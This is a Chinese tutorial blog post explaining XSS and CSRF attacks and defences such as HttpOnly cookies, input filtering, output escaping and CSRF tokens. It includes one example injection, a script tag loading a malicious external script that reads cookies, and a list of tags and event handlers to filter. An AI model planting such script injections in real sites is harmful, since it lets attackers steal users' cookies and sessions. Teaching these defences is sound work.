Web安全（一）_web安全领域-CSDN博客

本文链接：https://blog.csdn.net/qq_24510455/article/details/100672464

在 Web 安全领域中，XSS 和 CSRF 是最常见的攻击方式。

xss攻击

基本概念

XSS，即 Cross Site Script，中译是跨站脚本攻击；其原本缩写是 CSS，但为了和层叠样式表(Cascading Style Sheet)有所区分，因而在安全领域叫做 XSS。

XSS 攻击是指攻击者在网站上注入恶意的客户端代码，通过恶意脚本对客户端网页进行篡改，从而在用户浏览网页时，对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript，有时也会包含 HTML 和 Flash。有很多种方式进行 XSS 攻击，但它们的共同点为：将一些隐私数据像 cookie、session 发送给攻击者，将受害者重定向到一个由攻击者控制的网站，在受害者的机器上进行一些恶意操作。

攻击原理

不需要做任何的登录认证，通过合法的操作（在url中输入、在评论框中输入），向页面注入脚本（可能是js、hmtl代码块等）。

攻击方式

反射型
用户在页面输入框中输入数据，通过 get 或者 post 方法向服务器端传递数据，输入的数据一般是放在 URL 的 query string 中，或者是 form 表单中，如果服务端没有对这些数据进行过滤、验证或者编码，直接将用户输入的数据呈现出来，浏览器解析执行XSS代码。这个过程像一次反射，所以叫反射型XSS。
比较常见的是黑客通常通过构造一个包含 XSS 代码的 URL，诱导用户点击链接，触发 XSS 代码，达到劫持访问、获取 cookies 的目的。
存储型
服务器端将用户输入的恶意脚本没有经过验证就存储在数据库中，并且通过调用数据库的方式，将数据呈现在浏览器上，当页面被用户打开的时候执行，每当用户打开浏览器，恶意脚本就会执行。持久型的 XSS 攻击具有很强的稳定性，相比非持久型的危害性更大，因为每当用户打开页面，恶意脚本都会执行，从而获得了在网络上传播的能力。

比较常见的一个场景是攻击者在社区或论坛上写下一篇包含恶意 JavaScript 代码的文章或评论，文章或评论发表后，所有访问该文章或评论的用户，都会在他们的浏览器中执行这段恶意的 JavaScript 代码。
DOM型
通过 DOM来动态修改页面内容，从客户端获取 DOM中的数据并在本地执行。是纯粹发生在客户端的攻击。

比如插入简单的<script src="https://a.com/haker.js">，载入第三方的恶意脚本，这些恶意脚本，通常是读取用户的 cookie 。

XSS攻击防御

HttpOnly 防止劫取 Cookie
浏览器将禁止页面的Javascript 访问带有 HttpOnly 属性的Cookie。将重要的cookie标记为httponly，这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段，通常 Cookie 中都包含了用户的登录凭证信息，攻击者在获取到 Cookie 之后，则可以发起 Cookie 劫持攻击。所以，严格来说，HttpOnly 并非阻止 XSS 攻击，而是能阻止 XSS 攻击后的 Cookie 劫持攻击。
输入过滤
不要相信用户的任何输入。
检查用户输入的数据中是否包含 <，> 等特殊字符，
过滤或移除特殊的 html 标签：<script>、<iframe>等。（尤其是Script节点，它可是支持跨域的呀，一定要移除）
过滤 js 事件的标签：onclick、onerror、onfocus等
输出转义
当需要往 HTML 标签之间插入不可信数据的时候，首先要做的就是对不可信数据进行 HTML Entity 编码HTML 字符实体

CSRF攻击

基本概念

CSRF 的全称是“跨站请求伪造”（Cross-site request forgery），顾名思义，是伪造请求，冒充用户在站内的正常操作。可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

攻击原理

用户H打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；
用户信息通过验证后，网站A产生Cookie信息并返回给浏览器保存，此时用户登录网站A成功，可以正常发送请求到网站A；
用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问危险网站B（不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束）；
网站B接收到用户请求后，返回一些攻击性代码，并在用户不知情的情况下携带Cookie信息要求访问第三方站点A。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

CSRF攻击防御

验证 HTTP Referer 字段
根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。验证 HTTP Referer 字段，利用 HTTP 头中的 Referer 判断请求来源是否合法，Referer记录了该 HTTP 请求的来源地址。
优点：简单易行，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。
缺点：
1、Referer 的值是由浏览器提供的，不可全信，低版本浏览器下Referer存在伪造风险。
2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时，网站将拒绝合法用户的访问。
在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。
优点：这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对。
缺点：
1.在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的，并且很容易漏掉
2.难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站，黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token，黑客可以在自己的网站上得到这个 token，并马上就可以发动 CSRF 攻击。为了避免这一点，系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。不过，即使这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去。
优点：统一管理 token 输入输出，可以保证 token 的安全性。
缺点：局限性很大，XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新，并非所有的请求都适合用这个类来发起，无法在非异步的请求上实施。